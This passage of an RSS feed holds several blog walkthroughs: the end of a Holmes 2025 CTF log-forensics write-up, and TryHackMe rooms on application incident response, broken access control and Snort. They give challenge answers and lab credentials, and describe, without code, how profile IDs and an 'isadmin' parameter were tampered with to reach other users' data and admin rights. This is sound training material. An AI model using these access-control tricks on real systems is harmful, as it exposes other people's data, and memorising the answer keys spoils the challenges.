have to look for User-Agent, it is most likely to be in the access.log because access log keep records of incoming requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*5YHPraeMABS8v38Am50M7w.png" /></figure><p>2. It appears the threat actor deployed a web shell after bypassing the WAF. What is the file name? (filename.ext):</p><p><strong>temp_4A4D.php</strong></p><p>If we go through the waf.log we see that a web shell was created as well as accessed later on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*TRUNStZtcwSx8loTvEjibg.png" /></figure><p>We can confirm the access of this web shell from our access.log file as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*Q-vEKiC_dsfQ0ZA3fNuHbw.png" /></figure><p>See that the time in both log files is the same when the webshell was accessed (15:02:12).</p><p>3. The threat actor also managed to exfiltrate some data. What is the name of the database that was exfiltrated? (filename.ext)</p><p><strong>database_dump_4A4D.sql</strong></p><p>From the waf.log file we detected a database file being downloaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*EoVQLWYOW5fV8XCjg4q6Gg.png" /></figure><p>4. During the attack, a seemingly meaningless string seems to be recurring. Which one is it? (string)</p><p><strong>4A4D</strong></p><p>In access.log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*sHEiSH_oAJFbpp_urb0dew.png" /></figure><p>In waf.log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*Uex6G6FbaA5nX5VWp6vPQQ.png" /></figure><p>In application.log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*lSlWSLXtHBrFEQORkyQFfw.png" /></figure><p>5. OmniYard-3 (formerly Scotland Yard) has granted you access to its CTI platform. Browse to the first IP:port address and count how many campaigns appear to be linked to the honeypot attack.</p><p><strong>5</strong></p><p>Browsing the first ip:port, we see 5 campaigns (pink color), linked to the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*RcDK7jDdgNRltAtM7igUmQ.png" /></figure><p>6. How many tools and malware in total are linked to the previously identified campaigns? (number)</p><p><strong>9</strong></p><p>7. It appears that the threat actor has always used the same malware in their campaigns. What is its SHA-256 hash? (sha-256 hash)</p><p><strong>7477c4f5e6d7c8b9a0f1e2d3c4b5a6f7e8d9c0b1a2f3e4d5c6b7a8f9e0d17477</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*uW2ca--PIH40TiJBbKlyVQ.png" /></figure><p>8. Browse to the second IP:port address and use the CogWork Security Platform to look for the hash and locate the IP address to which the malware connects. (Credentials: nvale/CogworkBurning!)</p><p><strong>74.77.74.77</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*y8jfGRit-2AKGy8FTDctew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*c6HRL0RJdWoj-J6JCS43JQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*0GNmaLqa30u1iNDYBYk9Aw.png" /></figure><p>9. What is the full path of the file that the malware created to ensure its persistence on systems? (/path/filename.ext)</p><p><strong>/opt/lilnunc/implant/4a4d_persistence.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*i1Fplrp8tZSGjtwa24DQyA.png" /></figure><p>10. Finally, browse to the third IP:port address and use the CogNet Scanner Platform to discover additional details about the TA’s infrastructure. How many open ports does the server have?</p><p><strong>11</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*21C6DkSZ_sHCqSXxlx1t9Q.png" /></figure><p>11. Which organization does the previously identified IP belong to? (string)</p><p><strong>SenseShield MSP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*2KjN63Nw78CqWDLlNWbaWw.png" /></figure><p>12. One of the exposed services displays a banner containing a cryptic message. What is it? (string)</p><p><strong>He’s a ghost I carry, not to haunt me, but to hold me together — NULLINC REVENGE</strong></p><p>On the to right there is a map sectioon, navigate to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*7FwWmfZeu2m4Ehs3-SFxJQ.png" /></figure><p>Click on the map marker and it will display the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*CUlZs_XsJLDMmUi4l9T72w.png" /></figure><p>View the details and we get the banner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*eifLfFekZkkIpok-O3nfUw.png" /><figcaption>\</figcaption></figure><p>Summary:</p><p>So what basically happened in this whole attack was that an external attacker probed the webapp and found an exposed debug API that allowed remote command execution.</p><p>He then used it to drop a PHP web shell and generate an SSH key to gain persistent root access. He then installed a cron-based beacon to their C2, created a SUID root backdoor, staged and downloaded backups and database dumps.</p><p>After that the attacker opened an SSH tunnel to the internal database, and attempted to hide their tracks by tampering logs and installing a rootkit, resulting in a full system compromise and data exfiltration.</p><p>Conclusion:</p><p>This scenario highlights how a single overlooked debug endpoint can lead to complete system compromise. Despite the WAF detecting much of the malicious activity, its actions were bypassed once the attacker gained code execution.</p><p>This was all from this challenge…</p><p>Hope you enjoyed the Holmes 2025 CTF!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d497ec515595" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AppSec IR Room | TryHackMe]]></title>
            <link>https://medium.com/@claudiovolpecv710/appsec-ir-room-tryhackme-6614f2b203eb?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/6614f2b203eb</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Sun, 21 Sep 2025 03:27:38 GMT</pubDate>
            <atom:updated>2025-09-21T03:27:38.042Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/283/1*_IF-CaunUlFe5w6TYQkJJw.png" /></figure><p><strong>AppSec IR Fundamentals</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkbUEhtKRH1eVBiNZT0dYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-JfUel1oN2UUinCqaHlJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CbdvDGgyeXzC5d7bTuRV4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Po3_19AIqCqqMZ5dbLAwYg.png" /></figure><p><strong>Preparing for Application Incidents</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y5_tVPz37XIyNZ8VYRrP1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtW7glsKwacylI3MAIPeXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjmmDlv5IwOla0xEbxwLuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6rlky9-JfE6QfKhlXdadA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClOTmb0nMBmwd9kEfyoyTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8R7sF_1k2zvV_SjlMcFgQ.png" /></figure><p><strong>Responding to an Application Incident</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8nMAu_k05EagbDwVe5X5Ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83gpDdWWq3TLv4H1Miv0Uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wLBJk65G-GKGOCon2G2_cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3eL4PIKvpI4pIVcWlk3gQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CS5DpX7ikPt9S2U4efNK6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbueffjmqvgyKrZmd20vDA.png" /></figure><p><strong>Remediation &amp; Recovery</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5FGZyMFPi0qh3adxHrnnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7XMXiVs25Vm85DqU6L69Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WleKUd1MBgtSci1pxINEZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dE-a0_YcNu48pzdVHWB9nA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-51cLNprM3dPET4FPk9MXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qSPefQmR3rFGaukdj7FvKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9VFqDbMhxiBZHlEN3xSEA.png" /></figure><p><strong>Practical</strong></p><p>Start the machine and connect to it via ssh.</p><p>password: TryHackMe!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*zMkNaGwIRJ7Nw9DPPFzYJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*yP1dVegnkVCiol7HYe8PsA.png" /></figure><p>After gaining access move to the /home/appsecir/Documents/Logs directory. We have a log file here for analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*nxn1Ogut9jWxHM9qN62_0A.png" /></figure><p>Reading the log file and pointing out where the incident took place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*K7SulwfAEc8WSPNM0k356A.png" /></figure><p>The log shows that a user tried to access the profile of another user and was able to do so.</p><p>Producing this vullnerability in the browser. Paste the url: <em>ip/users/103/profile</em> in the browser. We are able to access someone else’s profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*VfTBorynE9zhCkYU6d2JyQ.png" /></figure><p>Similarly, changing the id to 104 and we get another profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*TNErHz9kVRCupVr69I7Jwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*U39lbywWGgdV3wvU8hOygg.png" /></figure><p>and another profile at id 105.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*K6uR_SrweAYvvkHnKfk2GQ.png" /></figure><p>Let’s move to flag submission on the site and answer the questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*K-FU7YBUZ1y6s3Y2hN7pPA.png" /></figure><p>From logs checking the time when user was able to access another profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*XcCwpWzJPuJFYlBXjcfECQ.png" /></figure><p>The user email at id 105 is john.doe@comapny.thm.</p><p><em>URL: ip/users/105/profile</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*K6uR_SrweAYvvkHnKfk2GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*WW7Xi-mqMMZ2Vaq0Wwa6tg.png" /></figure><p>Blocking the access to all user profiles by moving to admin profile at id:999.</p><p><em>URL: ip/users/999/profile</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*ePhBWnY5HlUTghuPeKAzVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*lyxy-rMOuqzGbC-0hhWxfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*WT6Jszy0x57y_cL-nwMtxg.png" /></figure><p>Server side validation should be done to avoid this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*G58zGDFGpt__pOdfTcFTGA.png" /></figure><p><em>user_id mismatch</em> parameter should be monitored for such incidents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*ZknrfVepMC0ewZNujk_83w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*mTkvaREB65vkexQGrSdJaQ.png" /></figure><p>After handling the incident and applying remediation, it should be added to IR playbook for future such incidents and reference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*og6M6fhbgOxT_q6qdTm7nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*WbvccBnx-WbfS3V18q1plQ.png" /></figure><p>That’s all from this room…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rabzw457r_aDdLjcYXqLww.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6614f2b203eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Broken Access Control Room Walkthrough | TryHackMe]]></title>
            <link>https://medium.com/@claudiovolpecv710/owasp-broken-access-control-room-walkthrough-tryhackme-01128c11ad04?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/01128c11ad04</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[room]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 05:40:54 GMT</pubDate>
            <atom:updated>2025-09-18T05:40:54.999Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a walkthrough of the broken access control room on tryhackme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*atTToVlCkxM7x9BQlv_bMA.png" /></figure><p>Broken access control happens when a user can do things they aren’t supposed to in a system, like accessing someone else’s data, editing content they shouldn’t, or performing admin actions without permission. It’s basically a security flaw where the system fails to properly check what a user is allowed to do.</p><p><strong>Broken Access Control Introduction</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNeHsho23qPcN432MC8igg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbbgfjFDCvJQYErJ9y3k5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aOvQPaz7N6ANlcBiHP6jMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yRZhbNh4rkFki2kWC6H0IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4cR_oiBiX7OX3wIR48J4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7bOABG6NxKEhSm2goWfaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGtqb8kOq46TEuLrnavFTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4ogWkgnhPhPqPMVpJ6_Qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MpteM9K2AKfQfLmS6tQxDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fi-uDhYOetAwOHvx-wHrIw.png" /></figure><p><strong>Assessing the Web Application</strong></p><p>Accessing the website on provided ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*MRu7svxij5WdBXTEuE5I5Q.png" /></figure><p>Registering on website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*RhUhlcKUNYHb6RywX2Intw.png" /></figure><p>Checking request in burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*tJCXP16Rn2_kbuci_rLnSg.png" /></figure><p>Logging into website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dic2WUos1rfRL2aAD6Oa4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*m1cdY75L1xpX3eEY4SQ8ew.png" /></figure><p>Sending request to repeater and then checking the reponse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*RQd7qvXRNrVZ_x9zO1JuAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5D5uxgZ_RAcDR7QmTCnRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBfotAdHRNl4LeMcDgUEXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*0PLtJt0rid8n4dKfnz3aaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y2YL6aAkkEFI2aSonenQnQ.png" /></figure><p>Getting user dashboard after logging in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVTKqZrArTdoW5x27GUFWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFFCKNAlszOyUjTuUdnsww.png" /></figure><p><strong>Exploiting the Web Application</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVTKqZrArTdoW5x27GUFWg.png" /></figure><p>Changing the <em>isadmin</em> vulnerable parameter to true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*xcCJWhyE2UNpyHjk-AaxUg.png" /></figure><p>We get the admin dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFkS9sACGTsVHYdHYn-yhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*IbuhnlVpLnYUA5eo2RhtDg.png" /></figure><p>We can escalate our privileges from the admin dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOLT8oBhvpG-RDNR2CvyHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUO7jIhrkuBW0ZUx-nKR7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7QzDXZypVdMcqWhznqFBA.png" /></figure><p><strong>Mitigation</strong></p><p>To mitigate broken access control vulnerabilities in PHP applications, developers should implement Role-Based Access Control to restrict user actions based on roles, use parameterized queries to prevent SQL injection by separating SQL logic from user input, and ensure proper session management through secure cookies, session timeouts, and activity tracking to prevent unauthorized access.</p><p>Additionally, adopting secure coding practices — such as input validation, sanitization, and using robust password hashing methods like password_hash instead of insecure functions, further protects applications from potential security risks and ensures that users only access resources appropriate to their privileges.</p><p>That’s it for this romm. Happy Hacking!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01128c11ad04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Snort TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@claudiovolpecv710/snort-tryhackme-walkthrough-8a39af666275?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a39af666275</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[ids-ips]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[snort]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Wed, 17 Sep 2025 04:46:19 GMT</pubDate>
            <atom:updated>2025-09-17T04:59:58.875Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Snort</strong> is a popular open-source <strong>Intrusion Detection and Prevention System (IDS/IPS)</strong> that monitors network traffic in real time to detect suspicious or malicious activity using predefined rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*w2tuF4xV6EBQQ-BBEcX_HA.png" /></figure><p>It works like a security camera for your network, using a set of rules and signatures to identify threats such as attacks, scans, or policy violations.</p><p>Snort performs various tasks like:</p><ul><li>Capture and analyze network packets (packet sniffer).</li><li>Log network activity for later review (traffic logger).</li><li>Detect intrusions or malicious behavior using rules (IDS).</li><li>Block or prevent harmful traffic when configured inline (IPS).</li><li>Investigate captured traffic from PCAP files</li></ul><p>All of these will be covered in this room.</p><p>The information already present on the room will not be shared here. For that refer to <a href="https://tryhackme.com/room/snort">https://tryhackme.com/room/snort</a>. I will only be sharing a step-by-step walkthrough on how to complete each task.</p><h3><strong>Let’s Begin!</strong></h3><p>First let’s have a look at the provided files. We have the following files for our room tasks. These files will be used throughout the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*kIc1xoi2kbNGKdq54-q97g.png" /></figure><p>Running <em>easy.sh</em> script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*fBDiroSAgviwuxHEVdRYEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7gQXmgSbpn6fpJr34kbcQ.png" /></figure><p><strong>Introduction to IDS/IPS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PDuyr_whq6CQ9DoPuUW71A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PxG7FobV-1ZenAE8ub-Tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBXCf3wYrDxhgMiYXeVTTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-5F2Uzii2twTOKdf-sJWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yVaJRHZmQJwwWLTwLAjnUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKN1BXHOVX7T7KqlI6--QQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XC9kLKlvLZMg_FFFmCoupw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7w7_eiprWVhYk0wx2eMO6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQRcPf2KA18731fA9cHN9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QwtHuh4y3z_-YSIBg-6zBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QoUqAvwx1Sx2U-WOJpVZlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2GOTv9mlDen0kNi8NYhFmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hf-qXWAgaOHxHP7aro_yHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dd_8HK5oHLcgsP3Ruv8YDA.png" /></figure><p><strong>First Interaction with Snort</strong></p><p>Checking the installed version of snort using -V flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*9Tgx2M6uyQQbDq1ZhhN77A.png" /></figure><p>Testing snort configuration using -T flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*WX0EnmSaZpdqSDNqIPgmaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*-reVrWozeZbm8YO47xXK6A.png" /></figure><p>The -V flag gives details about the installed version of snort.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*KyQqBmLolB5XAXSOy_giYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5Dre43EW4Q_sG0lx17Cxw.png" /></figure><p>Run Snort with the default config <em>/etc/snort/snort.conf </em>file in test mode to verify the configuration and see how many rules are currently loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*WX0EnmSaZpdqSDNqIPgmaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*R8RRHVZ3OnjrXhQqhNQKSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c0Jy0tfjArze2ryaAxHM4w.png" /></figure><p>Change the config file to <em>/etc/snort/snortv2</em> and check how many rules are loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*rH4l5KcemOH7Cav0e5uv3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*SVaQKNOu0SlCRUaE7z28zA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o7v77y5BXC3Bv2btyTZEzQ.png" /></figure><p><strong>Operation Mode 1: Sniffer Mode</strong></p><p>This section discusses snort in <strong>Sniffer Mode</strong> to actively capture network traffic in real time. By using different parameters like -v, -d, -e and -X, we can view packets in varying levels of detail, from basic TCP/IP info to full payload and headers in HEX format.</p><p>Try out snort with these different parameters:</p><ul><li><strong>snort -v</strong></li><li><strong>snort -vd</strong></li><li><strong>snort -de</strong></li><li><strong>snort -v -d -e</strong></li><li><strong>snort -X</strong></li></ul><p>More explanation on tryhackme.</p><p><strong>Operation Mode 2: Packet Logger Mode</strong></p><p>This section focuses on running snort in <strong>Logger Mode</strong> to capture and log network traffic. It also explores different logging options, including binary and ASCII formats, generate traffic to see snort in action, and then use snort to investigate the captured packets, analyze protocols, and extract key information from the logs.</p><p>The command <em>snort -dev -l. r</em>uns snort in packet logger mode and logs all captured packets and alerts to the current directory using -l . flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*0D7NnOSJ9Pdzkq-uhZmOqw.png" /></figure><p>A log file is created in present directory due to -l flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*Ot2nHULAd5dz4eZv-ZBddQ.png" /></figure><p>The <em>sudo snort -dev -L ASCII -l.</em> command runs snort in verbose packet-sniffing mode, printing and logging packet details (headers and payloads) in ASCII format to the current directory.</p><p>Run the command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*_GRKNytjO-cUhuoT8617rw.png" /></figure><p>Then execute traffic_generator.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*JnOP-3lhpGkHZUvze9-B0w.png" /></figure><p>Check the newly created log files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*FTna4sdN8Xucmn5S8W4ZoA.png" /></figure><p>Permission denied for accessing the directory, therefore, change permissions first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*n7fflyz8B3dnvezuuA9Mtg.png" /></figure><p>Change directory permissions using chown and then move into the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*ihO4IonwXVyFpJVY3lf76Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XQboCd0cEbnR0jw8tFLTMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xhyeKu6YXvxWQ0bqLdaIFA.png" /></figure><p>Move to TASK 6 and execute the command <em>snort -r snort.log.1640048004 -n 10. </em>This will replay the snort log file <em>snort.log.1640048004 </em>and display the specified packets from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*xmk5v95OwlgFAehqkYOlMw.png" /></figure><p>The -r flag tells snort to read the saved log file snort.log.1640048004 and then display packets instead of capturing live traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*-l4__xRZ7Oj-C02VP6qekg.png" /></figure><p>We can extract any info about the 10 packets from the log file output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5q2DSTOMl9-9SRo5rLcn9w.png" /></figure><p>Use -X flag to get more details of packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*KxU7ysSYh3yIhG5ifCwVIQ.png" /></figure><p>Check the 4th packet for it’s referer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*VySAuLS6x7qr3YFM4Czlpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mU_3ATDUa2NrCvCZuUBvQ.png" /></figure><p>Move to the 8th packet and check it’s Ack number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*vTspSL4Q5-_yLUtYjNCrWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*06v9y5ml_Heh_40KQhyVYQ.png" /></figure><p>To get packets with tcp port 80 use command <em>snort -r snort.log.1640048004 -n ‘tcp and port 80’.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*x9H5STiXc_QZLRPWXCYmQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*YFZKSC6DF1SZaXsUBjM79w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAHR-5zzT2JPRikUypKwiA.png" /></figure><p><strong>Operation Mode 3: IDS/IPS</strong></p><p>This section discusses how snort isn’t just a sniffer, it can act as an Intrusion Detection System (IDS) or Intrusion Prevention System (IPS) by monitoring traffic against rules. In IDS/IPS mode, it can alert, log traffic, or even block malicious packets.</p><p>Key parameters include:</p><ul><li><strong>-c:</strong> Use a configuration file.</li><li><strong>-T:</strong> Test the configuration file.</li><li><strong>-N: </strong>Disable logging.</li><li><strong>-D:</strong> Run in background (daemon) mode.</li><li><strong>-A: </strong>Choose alert mode.</li></ul><p>The different alert modes are:</p><ul><li><strong>console: </strong>quick alerts in terminal</li><li><strong>cmg: </strong>headers + payload in hex/text</li><li><strong>fast: </strong>summary info in logs</li><li><strong>full: </strong>all possible info in logs</li><li><strong>none</strong>: no alerts, only logging</li></ul><p>Run command <em>snort -c /etc/snort/snort.conf -A full -l.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Fd_hfJK9fFk40jkd7B_sLg.png" 